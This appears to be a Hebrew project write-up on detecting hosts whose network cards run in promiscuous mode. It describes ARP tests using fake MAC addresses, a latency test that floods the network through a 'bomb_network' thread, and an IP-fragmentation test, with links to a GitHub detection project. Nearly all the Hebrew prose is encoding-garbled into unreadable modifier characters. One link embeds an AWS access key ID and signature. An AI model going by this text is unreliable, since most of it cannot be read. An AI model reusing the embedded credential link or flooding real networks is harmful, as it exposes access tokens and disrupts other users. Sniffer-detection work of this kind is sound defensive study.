˞˪ ˪˟˵ˬˢ ˟˷˥ˬ˟ˣ ˢ ˸˷˵˟ ˸˞ ˫˧˞ˣ˶-ARP ˢ ˧"˰ ˢˮˮˣ˯ ˞˧ˢ˷ ˫ˣ˷ˬ-NIC: 

 

˳ˣ˶˲ ˟˴ˬ˪ ˢˮ˷ˮ:  

 

˟ ˣ˞-Wireshark: 

 

:˸˧ˮ˷ ˳˧˶ˮˣ 

 

.ˢ˧ˣˠ˷ ˢ˞˴ˣ˸ ˭˸ˮˣ ˳ˣ˶˲ ˟˴ˬ˟ ˶˧˷˩ˬˢ˷ ˸ˣˢˤ˪ ˥˧˪˴ˢ ˞˪ ˦˲˧˶˵˯ˢ ?ˢ˲ ˢ˶ˣ˵ ˢˬ ...˯˲ˣ˞  ˟˷˥ˬˢ

:˧ˣ˞˶˩ ˢ˰ˡˣˢˢ ˸˞ ˥˪˷ ˥˪ˣ˷ˢ 

 

:ˢ˷˵˟ˢ ˸˞ ˪˟˧˵ ˡ˰˧ˢˣ 
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˟˧ˠˢ˪ ˞˪˷ ˶˥˟ ˫˪ˣ˞ ?˰ˣˡˬ .ˢ˧˪˰ ˳ˣ˶˲ ˸˷˶ˢ ˯˧˦˶˩ˣ ˢˡ˧ˬ˟ ,ˢ˶ˣ˞˩˪-  ˫ˣ˶ˠ˸ ˞˧ˢ ˶˷˞˟ ˸˟ˣ˸˩ ˪˩

ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ˪ ˡ˰˧˪ -  ˪˷ ˢ˵˧ˮ˩˦˟ ˣˮ˷ˬ˸˷ˢ˷˩ ˣˮ˧˞˶˷ ˧˲˩ICMP.  ?˭ˣ˩ˮ 

 ˪ˣ˵ˣ˦ˣ˶˲˟ .˵ˣ˧ˡ˟ ˞˪ ˤ˞ARP ,ˣ˪˞ ˸ˣ˵˧ˡ˟˟ ˡˣˬ˰˸˷ ˸˶ˠ˯ˬ ˵˶ˣ ˸˶ˠ˯ˬˢ ˪˰ ˸ˣ˲˯ˣˮ ˸ˣ˵˧ˡ˟ ˸ˣ˰˴ˣ˟ˬ ,

ˬ ˣ˪˞ ˸ˣ˵˧ˡ˟ .˪ˣ˲˧˦˪ˣ ˢˮ˰ˬ˪ ˢ˩ˤ˸) "˧˸ˮ˩ˣ˸ˢ ˭ˣˮ˧˯ˢ" ˸˧˰ˣ˴˵ˬˢ ˸ˣ˶˲˯˟ ˸ˣˮˣ˩Software Filter ˸˞ˤˣ ,(

ˢ ˧"˰ ˰˴ˣ˟ˬ˷ ˧˸˶ˬˣ˥ˢ ˭ˣˮ˧˯ˢˬ ˪˧ˡ˟ˢ˪ ˸ˮˬ ˪˰-NIC. 

 :˞˟ˢ ˫˧˷˶˸˟ ˸˶˞ˣ˸ˬ ˣˮ˧˞˶˷ ˢ˟ˣˠ˸ˢ 

 

]iscuous_detection_01.pdfhttp://www.securityfriday.com/prom[ 

 ˢ˦˵˲ˢ ˸˞ ˶˧˟˰˧ ˞˪ ˸˷˶ˢ ˯˧˦˶˩ ˪˧ˠ˶ ˟˴ˬ˟ .˸ˣˮˣ˷ ˸ˣ˟˧˯ˬ ˫˪ˣ˞ ˢ˟ˣ˷˸ ˪˟˵ˮ ˞˪ ˫˧˟˴ˬˢ ˧ˮ˷˟

˟ ˢ˦˵˲ˢ ˸˞ ˢ˞˶ˮ ˞˪ ˫ˠ ˤ˞ˣ) ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˢ˞˪ˢ-Wireshark ˸˷˶ˢ ˯˧˦˶˩ ˳ˣ˶˲ ˟˴ˬ˟ ˣ˪˧˞ˣ (

˸ ˢˮ˧˞ ˢ˦˵˲ˢ ˧˩ ˟˧ˠˢ˪ ˞˪˷ ˶˥˟˧ ˣˬ˴˰ ˟˷˥ˬˢ ˫˪ˣ˞ ˢ˦˵˲ˢ ˸˞ ˶˧˟˰˧ ?ˢ˷˰ˮ ˢˬ .ˢˮ˧˵ 

ˢ ˨˶ˣ˰˷ ˸ˣ˵˧ˡ˟ˢˬ ˸ˣ˧ˮˡ˲˵ ˸ˣ˥˲ ˭ˢ ˢ"ˬ ˸˰˴˟ˬ˷ ˸ˣ˵˧ˡ˟ˢ ,ˣˮ˪ˤˬ˪-NIC ˸˷˵˟ ˸˥˧˪˷ ˭ˮ˩˸˪ ˭˸˧ˮ .

ARP ˢ ˧"˰ ˢ˥ˡ˸˷-NIC .ˣ˧˪˞ ˢ˰˧ˠˢ ˶˟˩ ˞˧ˢ ˫˞ ˢ"ˬ ˧"˰ ˢˮ˰˧˸ˣ ˪˟˵˸˸ ˪˟˞ ˪˧ˠ˶ ˟˴ˬ˟  ˢˡˣ˵ˮ ˡˣ˰

˫˰ ˸ˣ˷˵˟ˣ ˭˩˸˧˧ˣ ,ˢ"ˬ˪ ˢ"ˬˬ ˸ˣˮˣ˷ ˣ˪˪ˢ ˸ˣ˵˧ˡ˟ˢ˷ ˞˧ˢ ˭˧˧˴˪ ˭˧˧ˮ˰ˬ˷  ˧ˡ˧ ˪˰ ˣˮ˰˧˧ ˸ˣˬ˧ˣ˯ˬ ˸ˣ˟ˣ˸˩

.˸ˣ˶˥˞ ˧"˰ ˞˪ ˪˟˞ ˸ˬ˧ˣ˯ˬ ˢ"ˬ 

  

http://www.securityfriday.com/promiscuous_detection_01.pdf
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 ˸ˣ˟ˣ˸˩ ˫˰ ˸ˣ˷˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ ˭˪ˢ˪ ˢ˪˟˦˟MAC  ˪˟˞ ,˫ˮˬˣ˞ ˸ˣˮ˷˧) ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˶˲˯ˬ˪ ˸ˣˮˣ˷

.˳ˣ˶˲ ˟˴ˬ˟ˣ ˪˧ˠ˶ ˟˴ˬ˟ ˭˸˟ˣˠ˸ ˸˞ˣ (˸ˣ˧ˮ˶ˡˣˬ ˢ"ˬ˪ ˫ˠ ˧˦ˮˣˣ˪˶ ˭ˣ˶˵˧˰ˢ 

 

]˶ˣ˵ˬ[ 

 ˸ˣ˧ˮˡ˲˵ ˸ˣ˥˲ ˧˩ˢ ˸ˣ˵˧ˡ˟ˢ ˸˞ ˸ˣ˩˶ˣ˰˷ ˣ˪˞ ˫ˠ ,ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˪˪˩-  ˣ˞ ˞˧ˢ ˡ˰˧ˢ ˸˟ˣ˸˩˷ ˸ˣ˵ˡˣ˟

 ˢ˪˧˩ˬ ˞˧ˢ˷ ˣ˞ ,˟˷˥ˬˢ ˪˷ ˸˧˸ˬ˞ˢ ˸˟ˣ˸˩ˢGroup bit .˵˪ˣˡ 

Group bit  ˸˟ˣ˸˩ ˫˞ ˭˧˧˴ˬ˷ ˦˧˟ˢ ˞ˣˢMAC  ˞˧ˢMulticast .˞˪ ˣ˞  ˭ˣ˷˞˶ˢ ˦˧˟ˢ ˢ˷˰ˬ˪ ˞ˣˢ ˢˤ ˦˧˟

 ,˶˸ˣ˧˟ ˧ˮˬ˧ˢ)LSB( .˶˸ˣ˧˟ ˧˪˞ˬ˷ˢ ˸˧˟˟ ˢ ˵˶˷ ˸˟ˣ˸˩ ˢ˞˶˸ ˨˩-Group bit  :˵ˣ˪ˡ ˢ˟ 

00000001 : 00000000 : 00000000 : 00000000 : 00000000 : 00000000  

ˢ˯˵ˢ ˯˧˯˟˟ ˣ˞-:˧˪ˬ˧˴ˡ 

01: 00: 00: 00: 00: 00 

 ˸ˣ˩˶˰ˬ ˶˸ˣ˧˷ ˢˬ˩˪ ˫˧˞˸˸˷ ˸˟ˣ˸˩ ˱˧˧ˤˮ ˭˩˪ˣ ,ˢˮˬ˧ˢˬ ˶˸ˣ˧˷ ˢˬ˩ ˢ˧ˢ˸ ˣˮ˪˷ ˢ˵˧ˡ˟ˢ˷ ˢ˴˶ˮ

 .ˢ˪˰˲ˢ 

˸ˣˮˮˣ˟˸ˢˬ  ˸˟ˣ˸˩ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˢ˪˟˦˟ff:ff:ff:ff:ff:fe  ˸˟ˣ˸˩ˬ ˡ˥˞ ˦˧˟˟ ˵˶ ˢˮˣ˷˷)(broadcast ,

 .ˣ˵ˡ˟ˮ˷ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˪˪˩ ˶ˣ˟˰ ˸ˣ˟ˣ˦ ˸ˣ˞˴ˣ˸ ˢ˟˧ˮˬ 

:˫˞˸ˢ˟ ˦˲˧˶˵˯ˢ ˸˞ ˢˮ˷ˮ 

 

 

  

https://s3.amazonaws.com/academia.edu.documents/38745243/Malicious_Sniffing_Sys_Detection_Platform.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1549729488&Signature=XDvmLJNxTpO8RiMGJ%2BO9uG1lres%3D&response-content-disposition=inline%3B%20filename%3DMalicious_sniffing_systems_detection_pla.pdf
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 ˫˧˶ˮWireshark  ˸ˣˮˣ˩ˬ˟ ˳ˣ˶˲ ˟˴ˬ˟linux xwindows- ˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮˣ ˣˮ˪˷: 

 

 

ˢ ˸ˮˣ˩ˬ ˪˰-Ubuntu: 

 

 

ˢ ˸ˮˣ˩ˬ ˪˰ˣ-Windows: 

 

 

˫ˣ˩˧˯ ˵˪˥ ˢˤ 

ˢ ˸˦˧˷ ˸˞ ˢˮˣ˶˥˞ˢ ˢˬˠˣˡ˟ ˣˮ˧˞˶-ARP Requestˢ ˸˦˧˷ ˧ˮ˲ ˪˰ ˧˸ˣ˰ˬ˷ˬ ˭ˣ˶˸˧ ˣˤ ˢ˦˧˷˪ .ICMP-. 

 ˪˰ ˸˯˯˟˸ˬ ˞˧ˢ˷ ˫ˣ˷ˬ ˶˸ˣ˧ ˢˮ˧ˬ˞ ˞˧ˢARP  ˪˰ ˞˪ˣICMP ˟) ˸ˣ˟˶ ˫˧˸˧˰˪˷-Windows -  (˸˧˦˪ˣ˲˧ˡ

.˪˶˦ˣˮˬ 

ˠ˷ ˸ˣ˞˴ˣ˸ ˟˧ˮˢ˪ ˢ˧ˣ˷˰ ˣˤ ˢ˦˧˷ ˫ˠˢ ˸˷˵˟ ˸˪˟˵ ˶˥˞˪ ˢ"ˬ ˸ˣˠˢˮ˸ˢˬ ˢ˞˴ˣ˸˩ ˸ˣ˧ˣ-ARP. 

 ˪˰ ˸˯˯˟˸ˬˢ ˢ˦˧˷˪ ˡˣˠ˧ˮ˟˷ ˞ˣˢ ˢ˪˷ ˫˧ˣ˯ˬ ˭ˣ˶˯˥ICMP ˡ˰˧ ˸˟ˣ˸˩ ˫˰ ˢ˷˵˟ ˟˧˩˶ˢ˪ ˣˮ˧˪˰ ˭˞˩ ,

.ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˰˴˟ˬ˷ ˧˸ˮ˩ˣ˸ˢ ˭ˣˮ˧˯ˢ ˸˞ ˥˪˴˸˷ ,˸ˡ˥ˣ˧ˬ 
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 ˭ˢ˷ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟Open Source  ˸˞ ˞ˣ˶˵˪ ˭˸˧ˮ˶ˣ˵ˬˢ ˡˣ˵  ˸˩˶˰ˬˢ ˸ˣ˵˧ˡ˟ ˣ˪˞ ˵˧ˣˡˬ˟ ˭˧˟ˢ˪ˣ

.ˢˬ˧˞˸ˬ ˸˟ˣ˸˩ ˫˰ ˢ˷˵˟ ˥˯ˮ˪ ˨˩ˣ ˸ˣ˷˵˟˪ ˸˩˶ˣ˰  ˣˬ˩ ,˸ˣ˶˥˞ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟Windows  ˭˸˧ˮ

ˣ˪˩) ˢˮ˰ˬ˪ ˸ˣ˩ˣˤ ˸ˣ˷˵˟ ˣ˪˧˞ ˰ˣ˟˵˪ˣ ˸ˣ˧˲˴˸ˣ ˫˧˧ˣ˯˧ˮ ˨ˬ˯ ˪˰ ˸˩˶˰ˬˢ ˸ˣˠˢˮ˸ˢ ˸˞ ˭ˣ˥˟˪ ˸ˣ˶˟ˣ˰ ˶ˬ

.(˧˸ˮ˩ˣ˸ˢ ˭ˣˮ˧˯ˢ ˸˞ 

 ˸˟ˣ˸˩ˢ ˫˰ ˢ˷˵˟ ˣˮ˥˪˷ ˣˮ˪˷ ˢˬˠˣˡ˟FF:FF:FF:FF:FF:FE  ˢ˵ˬ˰ˢ" ˣ˞˶) ˣ˩˶˰ˮ˷ ˫˧ˬˡˣ˵ ˫˧˧ˣ˯˧ˮ ˧˲˪˷

 ˯˧˦˶˩ ˟˴ˬ ˸˞ ˢˮˣ˩ˮ ˸ˣˢˤ˪ ˣˮ˥˪˴ˢ ˭˩˞ˣ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˶˲˯ˬ ˧"˰ ˢ˪˟˵˸ˢ ("˸˲˯ˣˮ

 .ˣˮ˪˷ ˸ˣˮˣ˩ˬˢ ˪˷ ˸˷˶ˢ 

 

Latency test 

ˣˮ˶˟˯ˢ˷ ˧˲˩  ˪˪˩ ˸˞ ˶˧˟˰ˬ ˞ˣˢ ˳ˣ˶˲ ˟˴ˬ˟ ˸˷˶ ˯˧˦˶˩ ˶˷˞˩ ,˶ˬ˞ˬˢ ˸˪˧˥˸˟

 .ˢ"ˬ ˪˷ ˢˮ˩ˣ˸ˢ ˧˟˧˩˶ ˧"˰ ˪ˣ˲˧˦˪ ,"ˢ˪˰ˬ˪" ˢ˶ˣ˟˰˸ˢ 

 ˭ˮ˯˪ ˣ˴˪˞˧ ˫ˢˣ ˸ˮˮˣ˯ˬ ˞˪ ˢ˶ˣ˟˰˸ ˫˰ ˡˡˣˬ˸ˢ˪ ˣ˩˶˦˴˧ ˢ"ˬ ˸˟˧˪˟ ˢˮ˩ˣ˸ ˧˟˧˩˶ ˫˸ˣ˞

.˫ˬ˴˰˟ ˢ˸ˣ˞  ˟˧ˠ˧ ,˳ˣ˶˲ ˟˴ˬ˟ ˣ˪˷ ˸˷˶ˢ ˯˧˦˶˩˷ ˟˷˥ˬ˷ ˢ˥ˮˢˢ ˪˰ ˯˯˟˸ˮ ˣˮ˥ˮ˞

˪˫ˣ˷ˬ ˸ˣ˷˵˟˪ ˶˸ˣ˧ ˦˞ ˢ˷-Kernel  .ˣ˧˪˞ ˸˧˦ˮˣˣ˪˶ ˞˪˷ ˢ˶ˣ˟˰˸ ˭ˣˮ˧˯˟ ˯ˣˬ˰ ˣ˪˷ 

 ˳˶ ˡ˰˧ˢ ˪˰ ˫˞ ,˱˯ˣˮ˟Sniffer ˢ ,ˢ˶ˣ˟˰˸ˢ ˸˞ ˦˧˪˵ˬ˷-Kernel  ˢ˦˵˲ ˪˩ ˶˧˟˰ˢ˪ ˨˶˦˴˧

˟ ˳˶˷ ,˶˲˧ˮ˯˪ ˢ˪˟˵˸ˢ˷-User Mode .ˢˤ˩ ˶˟˰ˬˬ ,-Kernel Mode ˪-User Mode  ˞ˣˢ

.ˡ˰˧ˢ ˪˰ ˱˯ˣˮ ˯ˬˣ˰ ˶ˣ˴˧ˣ ˧ˮˤ˟ˤ˟ ˸˧˯˥˧ 

 ˞˶˵ˮ˷ ˨˶˰ ˡˣˡˬˮ ˣˮ˥ˮ˞ ,ˣˤ ˢ˦˧˷˟RTT )trip time-round .(RTT ˞ˣˢ ˫˴˰˟ ˭ˬˤˢ ˥˵˪˷ 

˲˪ˢ˦˵ ˣˮ˪˷ ˸ˣ˷˰˪ ˸˞ ˨˶ˡˢ ˟˷˥ˬ˪ ˡ˰˧ˢ ˡˣ˰ˣ ˭ˬˤˢ ˥˵˪˷ ˢ˟ˣ˷˸˪ ˟˷˥ˬˬ ˡ˰˧ˢ ˰˧ˠˢ˪ ˢ˶ˤ˥ 

ˣˮ˧˪˞ ˸ˣ˷˵˟˪ ˟˧ˠˢ˪ ˣ˪ ˥˵ˣ˪ ˭ˬˤ ˢˬ˩ ˢ˞˶ˮ ˨˩ˣ ˡ˰˧ˢ ˟˷˥ˬ ˪˷ ˢ˟ˣˠ˸ˢ ˭ˬˤ ˸˞ ˣˮ˪ ˱˵˷˧ ˢˤ ˨˶˰ .

.ˣˮ˪˷ 

 ˸˥˧˵˪ ˶˥˞˪RTT ˣˮ˧˞ ˸˷˶ˢ ˯˧˦˶˩ˣ ˢˡ˧ˬ˟ .˸˲˯ˣˮ ˢˡ˧ˡˬ ˰˴˟ˮˣ ˸˪˟ˣˤˬ ˢ˶ˣ˟˰˸˟ ˸˷˶ˢ ˸˞ ˱˧˴ˮ 

˳ˣ˶˲ ˸˷˶ˢ ˯˧˦˶˩ˣ ˢˡ˧ˬ˟ .ˢ˲˴ˢˢ ˧ˮ˲˪ ˣˮ˪˟˧˵˷ ˢˬ˪ ˸˧˯˥˧ ˸ˣ˟ˣ˶˵ ˸ˣ˞˴ˣ˸ ˪˟˵˪ ˢ˲˴ˮ ,˳ˣ˶˲ -  ˢ˲˴ˮ

ˢ˷-RTT  .˧˸ˣ˰ˬ˷ˬ ˭˲ˣ˞˟ ˶˸ˣ˧ ˢˣ˟ˠ ˢ˧ˢ˧ 

:˫˧˟˶ ˸ˣˮˣ˶˯˥ ˣˤ ˢ˦˧˷˪ 

¶ ˨˩˟ ˞˧ˢ˷ ˢ˯˧ˬ˰ˬ ˪˰ ˸˷˶ˢ ˞˧ˢ ˞˪ ˵˶ ˸˰ˠˣ˲ ˫˧˰ˣ˴˧˟˟ ˪˷ ˪˪˩ ˫˧˟˧˩˶ˢ- ˞˪˞ ˞˧ˢ ˢ˧ˣ˷˰ 

˰˧˶˸ˢ˪ ˱˵ˣ˸˪ ˭˲ˣ˞˟ ˡˣ˞ˬ ˟˦˪ˣ ˫˧ˡ˷ˣ˥˷ x˟. 
 

¶ ˞˧ˢ ˢ˲ˣ˷˥ ˸ˣ˧˦ˢ˪ ˢ˞˴ˣ˸˩ ˭ˣˣˠˬˬ ˸ˣ˟˧˯ .˪˷ˬ˪ ,˭˩˸˧˧ ˯˧˦˶˩ˣ ˸˷˶ˢ ˳ˣ˶˲ ,˫˪ˣ˞ ˸˷˶ˢ ˢ˯ˣˬ˰ 

ˡˣ˞ˬ ˪˩˟ ˢ˶˵ˬ- ˨˩ ˢˡ˧ˡˬ˟˷ ˢˮˣ˷˞˶ˢ ,˧ˮ˲˪ ˢ˲˴ˢˢ-˪˟˵˸ˬ RTT ˢˣ˟ˠ ˢˡ˧ˡˬ˟ˣ ˢ˧˧ˮ˷ˢ ,˨˪ˢˬ˟ 

ˢ˲˴ˢˢ ,˪˟˵˸ˬ RTT ˟ˣ˶˵ ˣ˧˪˞ .˟˴ˬ˟ ˢˤ˩ ˣˮ˥ˮ˞ ˢ˰˦ˮ ˟ˣ˷˥˪ ˯˧˦˶˩˷ ˸˷˶ˢ ˣˮ˧˞ ˲˳ˣ˶ ,˧˩ ˞˪ 

https://github.com/torvalds/linux/blob/master/net/ipv4/arp.c
https://he.wikipedia.org/wiki/%D7%94%D7%97%D7%9C%D7%A4%D7%AA_%D7%94%D7%A7%D7%A9%D7%A8
https://en.wikipedia.org/wiki/Round-trip_delay_time
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ˣˮ˧˞˶ ˪ˡ˟ˢ ˧˸ˣ˰ˬ˷ˬ ˟-RTT .˭˧˲ˣ˪˥˪ ,˭˩˸˧˧ ˯˧˦˶˩ˣ ˸˷˶ˢ ˣˮ˧˞ ˳ˣ˶˲ ,˫˪ˣ˞ ˡ˰˧ˢ ˢˢ˸˷ˢ ˢ˟ˣ˷˸˟ 

ˢˡ˧ˡˬ˪ ˢ˧˧ˮ˷ˢ ˢ˞˴ˣ˸˩ ˢ˟˧˯ˬ ˸˶˥˞ ˤ˞ˣ ˢ˰˦ˮ ˟ˣ˷˥˪ ˯˧˦˶˩˷ ˸˷˶ˢ ˳ˣ˶˲ ,˫ˣ˷ˬ ˣˮ˧˞˶˷ ˪ˡ˟ˢ 

˧˸ˣ˰ˬ˷ˬ ˭˧˟ ˸ˣˡ˧ˡˬˢ ,˫˪ˣ˞ ˣ˸˧ˬ˞˪ ˪˷ ˶˟ˡ ˯˧˦˶˩ ˸˷˶ˢ ˣˮ˧˞ ˳ˣ˶˲ ˪ˡ˟ˢˢˣ ˰˟ˮ ˟˧˯ˬ s˸˶˥˞ . 
 

 ˢ˟˧˟˯˟ ˸˧˪ˬ˧˦˲ˣ˞ ˢˮ˧˞ ˣˤ ˢ˵˧ˡ˟ .˪˟˵˸ˬˢ ˦˪˲ˢ ˸ˮ˟ˢˣ ˸˞˧˶˵˟ ˸ˣˮˬˣ˧ˬ ˸˷˶ˡˮ ,ˢ˞˶ˮ ˡ˧ˬ˷ ˧˲˩

 ˞˪ ˣˮ˥ˮ˞ ˢ˷˰ˬ˪˷ ˨˩ ,ˢˮ˩ˣ˸ ˸ˣ˰˴ˬ˞˟ ˫˧˴˪ˬˣ˯ˬ ˸ˣˮˣ˩ˬˢ ˪˷ ˸˷˶ˢ ˧˯˧˦˶˩˷ ˫ˣ˷ˬ ˸˧˪˞ˣ˦˶˧ˣ

 ˫˰ ˸˞ ˧˸˩˶˰ ˣˤ ˢ˵˧ˡ˟ ˸˞ ˭˩˪ .˫ˢ˪˷ ˳ˣ˪ˬ˧˯ˢ ˸˞ ˵˶ ˞˪˞ ˫˧˧˸˧ˬ˞ ˸˷˶ ˧˯˧˦˶˩ ˫˧ˮ˥ˣ˟ ˫˧˟˷˥ˬ

˫˧˧ˤ˧˲ -  ˳˧˶ˬˢ ˟˷˥ˬWindows 10 ˟˷˥ˬˣ ,ˡˡˣˬˢˣ ˪˟ˤˬˢ ˡ˧˵˲˸˟ ˷ˬ˷˧˷Windows 7  ˷ˬ˷˧˷

 .ˡˡˬˮ˩ 

 ˢ˯˶ˠ .˸ˣ˞˯˶ˠ ˧˸˷˟ ˢˡ˧ˡˬˢ ˸˧˧˴˵ˮˣ˲ ˸˞ ˧˸˟˸˩multithreaded  ˸˯˶ˠˣsingle threaded ˢ˯˶ˠ˟ .

 ˷˧ ˢˮˣ˷˞˶ˢthread ˣ ˪˟ˤˬ˷thread ˟ˣ ˢ˞˪ˣ˪ ˢˮ˷˧ ˢ˧˧ˮ˷ˢ ˢ˯˶ˠ˟ˣ ˸ˣˡ˧ˡˬˢ ˸˞ ˰˴˟ˬ˷˪˩  ˢ˧˴˶˦˧˞

 ˸ˣˮˣ˶˯˥ˣ ˸ˣˮˣ˶˸˧ ˷˧ ˸ˣ˞˯˶ˠˢˬ ˸˥˞ ˪˩˪ .ˢˡ˧ˡˬˢ ˸˞ ˰˴˟ˮ ˤ˞ˣ ˸ˣ˪˟ˣˤˬ ˸ˣ˦˵˲ ˸ˣ˞ˬ ˢˬ˩ ˥˪˷ˮ

 .ˢ˪˷ˬ˶˟˯ˢ ˪˷ ˫˧˪ˡ˟ˢˢ ˞˴ˬˮ ˢ˧˴˦ˮˬˣ˵ˣˡ˟ ˪˷ s˦˲˧˶˵˯. 

ˢ ˸˯˶ˠ ˪˷ ˡˣ˵ˢˬ ˵˪˥ ˭˪ˢ˪-multi-threaded: 

 

1. ˪˧˥˸ˮ ˰˴˟˪˟ ˸˞ ˸ˣˡ˧ˡˬˢ ˸˷˶ˢ˷˩ ˢ˦˵˷ - ˥˪˷ˮ 30 ˸ˣ˷˵˟ ICMP Echo ˶˧ˤ˥ˮˣ ˢˬ˧˷˶ ˫˰ s-

RTT ˪˷ ˪˩ ˸˥˞ ˸ˣ˷˵˟ˢˬ . 

2.  ˡ˰)4 (˶˧ˡˠˮ thread ˰˴˟˧˷ ˸˞ ˪ˣ˟˧ˤˢ ˣˮ˶ˣ˟˰ )ˢ˧˴˵ˮˣ˲ˢ ˸˪˟ˤˬˢ ˞˧ˢ bomb_network (˳˧˶ˮˣ 

ˣ˸ˣ˞ . 

5. ˭˸˧ˮ ˪-thread ˪˟ˤˬˢ ˳ˣ˶˪ ˸˴˵ ˧ˡ˩ ˡ˰˧ˢ˷ ˱˴ˣ˧ ˪˟ˤ˟ ˧ˮ˲˪ ˪˧˥˸˧˷ ˪˟˵˪ ˸˞ ˸ˣ˦˵˲ ˢˡ˧ˡˬˢ ˣˮ˪˷. 

6. ˡˣˡˬˮ ˫˰˲ ˸˲˯ˣˮ ,˨ˣ˸ ˧ˡ˩ ˢ˷thread ˪˟ˤˬˢ ˳˶ . 

 ˢ˞˶˧˸ ˨˧˞bomb_network?˸˷˶ˢ ˸˞ ˸˪˟ˤˬ˷ ˢ˧˴˵ˮˣ˲ˢ ,  ˣˬ˩ ˦ˣ˷˲ ˣˢ˷ˬ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞

 ˡ˧ˠˮ) ˪ˣˡˠ ˫˧ˬ˰˲ '˯ˬ ˸˷˶˟ ˸˧˞˶˵˞ ˸ˤˣ˶˥ˬ ˥ˣ˪˷˪2,000 (˫˧ˬ˰˲: 

 

  

https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/latency_detection.py
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:˳ˣ˶˲ ˣ˪˷ ˸˷˶ˢ ˯˧˦˶˩˷ ˡ˰˧˪ ˢ˰˧ˠˬ ˭˪ˢ˪ ˢ˪˧˟˥ˢ ˶˷˞˩ ˢ˶ˣ˵ ˢˬ ˰ˠ˶ ˟ˣ˷˥ˮ 

 

 ˞˧ˢ˷ ˫˧ˢˤˬ ˡ˧ˬ ,˫˷ .ˢ"ˬ ˸˟˧˪ ˨ˣ˸˪ ˸˯ˮ˩ˮˣ ˢˬˣˠ˲ ˞˧ˢ˷ ˸ˣ˶ˬ˪ ,˸˷˶ˢ ˯˧˦˶˩ ˧ˮ˲ ˪˰ ˸˲˪ˣ˥ ˞˧ˢ

 ˶˸ˣ˧ ˸˴˵ ˡˣ˟˰˪ ˡ˰˧ˢ ˟˷˥ˬ˪ ˣˮˬ˶ˠ ˫ˮˬˣ˞ ˤ˞ .ˢ˸ˣ˞ ˫˧˵˪˯ˬˣ ˧˪ˬ˶ˣˮ ˪ˣ˵ˣ˦ˣ˶˲ ˱˞ ˸ˬ˞ˣ˸ ˞˪ ˧˩ ˢ˷˵

˪˟ˤ ˭ˮ˯˪ ˨˧˶˴ ˞ˣˢ -  .ˢ˶ˠ˷˪ ˶ˤˣ˥ˣ ˸ˣ˶˧ˢˬ˟ ˣ˸ˣ˞ ˭ˮ˯ˬ ˞ˣˢ ˪˟˞ 

 ˶˸ˣ˧˷ ˢˬ˩ ˥˪˴˸˷ ˰ˡ˧ˬ ˸˪˧˟˥ ˟˧˩˶ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˧ˡ˩ .ˢ˷˵ ˶˸ˣ˧ ˶ˣ˟˰˧ ˡ˰˧ˢ ˟˷˥ˬ˷ ˫˧˴ˣ˶ ˣˮ˥ˮ˞

ˢ ˨ˣ˸˟ "˫˧˟˪˷"-Kernel ˸ˣ˪˧˟˥ ˟˧˩˶ˮ ,ˡ˧ˬ ˣ˥ˡ˧˷ ˶˷˲ ˸ˣ˶˯˥ ˸ˣˤˣ˶˥ˬ ˸ˣ˞ˬ ˫˸˯ ˥ˣ˪˷˪ ˫ˣ˵ˬ˟ ,˨˩ .

ˣ˩˧˯ ˭ˢ˪ ˷˧˷ .ˡ˰˧ˢ ˟˷˥ˬ ˪˰ ˧˸ˣ˰ˬ˷ˬ ˶˸ˣ˧ ˭˲ˣ˞˟ ˯˧ˬ˰ˢ˪ ˟ˣ˦ ˧ 

 ˸˟˩˷ˬ ˟˩˶ˣˬ ˢ˧ˢ˧ ˟˧˩˶ˮ˷ ˦ˮˬˠ˯ˢethernet  ˡ˰˧ˢ ˟˷˥ˬ ˪˷ ˸˟ˣ˸˩ˢˬ ˢˮˣ˷ ˸˟ˣ˸˩ ˫˰-  ˧ˡ˩

 ˱˧˯ˣˮ .˪˧ˠ˶ ˸˷˶ ˯˧˦˶˩ ˫˰ ˫˧˟˷˥ˬ ˧"˰ ˢ˥ˡ˸˷Header  IP-  ˟˷˥ˬˢ ˪˷ ˸˧˸˧ˬ˞ˢ ˡ˰˧ˢ ˸˟ˣ˸˩ ˫˰

 ˢ˟˩˷ ˪˷ ˢ˵˧ˡ˟ˢ ˸˞ ˥ˣ˪˴˪ ˧ˡ˩ ,˵ˡ˟ˮˢ3 ˶˥˞˪ . ˱˧˯ˣˮ ˭˩ˬHeader  ˪˷TCP -  ˦ˮˬˠ˯ˢ ˢˤ ˟˪˷˟

˶ˣˠ˯ ˦˶ˣ˲˪ ˢˮˣ˲ ˞ˣˢ ˧˩ ,ˡ˰˧ˢ ˧"˰ ˢ˥ˡ˧˧ ˢ˞˶ˮ˩: 

 

 ˞ˣˢ ˸ˣ˷˰˪ ˭˸˧ˮ˷ ˱˯ˣˮ ˶˟ˡ˦ˮˬˠ˶˲˪ ˢ ˸ˣ˦˵˲ ˸˞-IP  ˰˴˟˪˟ ˡˣ˟˧˰ ˥ˣ˩ˣ ˭ˬˤ ˰˧˵˷ˢ˪ ˨˶˦˴˧ ˡ˰˧ˢ˷ ˨˩

Reassembly. 

˞˧?˳˧˶ˢ˪ ˫˧ˮ˩ˣˬ .ˢ˪˪ .ˢˡ˧ˡˬ ˪˷ ˢ˯˶ˠ ˪˩ ˶ˣ˟˰ ˸˥˞ ,˳ˣ˶˲ ˟˴ˬ˟ ˸ˣ˴˶ˢ ˧˸˷ ˪˷ ˸ˣ˞˴ˣ˸ ˭˪ˢ˪ 

 

 

https://en.wikipedia.org/wiki/IP_fragmentation
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:˳ˣ˶˲ ˞˪ ˡ˰˧ˢ˷˩ ˸ˣ˴˶ˢ ˧˸˷ˣ 

 

